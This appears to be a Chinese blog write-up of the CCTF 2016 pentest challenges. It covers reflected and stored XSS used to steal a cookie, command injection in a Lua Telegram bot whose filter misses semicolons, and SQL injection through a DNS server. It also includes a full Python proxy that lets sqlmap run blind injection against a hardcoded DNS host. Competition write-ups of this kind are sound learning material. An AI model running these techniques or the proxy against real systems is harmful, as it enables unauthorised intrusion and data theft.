文章目录
  1. 1. CCTF感受
  2. 2. loli之旅
    1. 2.1. 漏洞一
    2. 2.2. 漏洞二
    3. 2.3. 漏洞三
    4. 2.4. 漏洞四
  3. 3. DNS注入

CCTF感受

周六花了一天时间做了下CCTF的pentest。还是有不少有意思的收获。这个名字叫pentest,而不是web,感觉也是花了心思的,感谢花时间精力准备的CCTF。loli1,loli2侥幸拿了一血,先装个逼。

loli之旅

打开首页萌了一脸,羞羞的图片,果然是loli.club啊。右键看了一下源码,除了一个注释貌似没有啥其他的信息了。

<!--
powered by PockyNya
诚招前端,请联系邮箱:pocky@loli.club
-->

google直接搜索PockyNya,找到其github。

分析第一个仓库pyprint:

可以找到一个博客地址:http://pocky.loli.club:41293/

有了网址和源码,自然是要对源码做一番审计。这里我其实是用了一个比较猥琐的方式快速找到了源码中的漏洞。
在PockNya的github主页上,可以看到他follow了一个人,RicterZ,点进去可以看到自然是这道题目的作者了。由于平时就关注了RicterZ的github和博客。在RicterZ的github也可以看到pyprint这个仓库,是自己博客的开源代码。所以接下来就是把两个仓库都clone下来,diff了一下。~~~

其实对于pyprint这个代码的审计,读一下commit时的comment可以发现很多信息,比直接看代码可以省不少功夫。不过有了diff大法,一切都是浮云。

漏洞一

看到登录页面login多了一个flag参数,查看模板文件,直接输出在了页面中,存在一个反射XSS。

<form class="form-horizontal login-form" role="form" action="/login?flag=" method="post">

反射XSS需要绕过浏览器audit,根据博客文章提示,找到xss地址之后,发到作者邮箱。试了一下才知道,这个XSS是个意外,很快就被修复了。

漏洞二

发现addpost这个方法的权限验证去掉了。查看相关模板,发现去掉了urlencode编码。导致越权发布文章,文章内容可以存储型XSS。根据代码中的接口和参数拼接请求。发布存储型XSS文章。将地址发给作者邮箱,获得cookie。cookie中flag参数解码就是最终的flag。

漏洞三

FileReadHandler存在任意文件读取的漏洞,看到这里很开心,可是被注释掉了。所有是逗你玩的代码了~~

漏洞四


这里其实也不算漏洞,看到不一样的代码就跟进去看看做了啥。查看日志的时候,验证了cookie。这里当时不记得怎么弄的了,xss打到的cookie早就加了进去,直接拼日志的地址就可以访问了。现在来看只要本地伪造一个cookie就可以绕过这个验证?添加cookie之后可以查看到一篇一个lua脚本的日志。

lua脚本源码:

do
local function run(msg, matches)
  if matches[1] ~= '!minecraft' then
    operation = matches[1]
  else
    return "!minecraft start|stop|restart"
  end
  if string.find(operation, '&') or string.find(operation, '|') or string.find(operation, '`') then
    return "Invalid operation " .. operation
  end
  local t = io.popen('cd /home/telegram && ./mc ' .. operation)
  local a = t:read("*all")
  return a
end
return {
  description = "loli.club minecraft bot!",
  usage = "!minecraft start|stop|restart",
  patterns = {
    "^!minecraft$",
    "^!minecraft (.*)$"
  },
  run = run
}
end%

比较明显的命令注入漏洞。参考Shell Injection & Command Injection。没有过滤分号;

第一次用telegram,找到bot的账号花了一会时间。本身漏洞是比较典型的。

DNS注入

这个题目没有做出来。一是没有考虑到别人留的后门,再一个没找到回显的注入方式。writeup可以参考FlappyPig CCTF-2016 WriteUp

一开始通过爆破域名,定位到ns.loli.club。发现该dns服务存在一些异常,但没有考虑到SQL注入,放出采用python和mysql搭建之后才考虑到sql注入。

使用nslookup可以简单验证,确实存在SQL注入。

没有找到回显的方式,尝试写一个代理,用sqlmap来进行盲注。发现dns.resolver模块对域名的合法性进行了检查,sqlmap拼出来的域名字段不是合法域名会报错。最后采用了分析dns协议,直接拼接二进制的方式写了一个布尔盲注的代理,用sqlmap跑出了数据。dns协议解析

最终的代码:

#!/usr/bin/env python
# encoding: utf-8

from flask import Flask,render_template
from flask import request, jsonify
import socket
import struct
import time

app = Flask(__name__)
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
dns1 = h2bin('''  a5 71 01 00 00 01 00 00  00 00 00 00 03 77 77 7704 6c 6f 6c 69''')
dns3 = h2bin(''' 00 00 01 00 01  ''')
HOST='120.27.149.210'
PORT=53

@app.route("/dns",methods=['GET','POST'])
def dnsquery():
    name=request.args.get('id')
    name=str(name)
    name_len=len(name)
    if name_len<10:
        name_len1='0'+str(name_len)
    else:
        name_len1=hex(name_len)
        print name_len1

        if len(name_len1)==3:
            name_len1='0'+name_len1[2:]
            print name_len1
        else:
            name_len1=name_len1[2:]
            print name_len1

    test=str(name_len)+'s'

    print test
    dnsdata=dns1+ h2bin(name_len1)+struct.pack(test,name) +dns3
    s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    s.sendto(dnsdata,(HOST, PORT))
    print 'sendall'
    data=s.recv(1024)
    return repr(data[-4:])

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8765,threaded=True)
文章目录
  1. 1. CCTF感受
  2. 2. loli之旅
    1. 2.1. 漏洞一
    2. 2.2. 漏洞二
    3. 2.3. 漏洞三
    4. 2.4. 漏洞四
  3. 3. DNS注入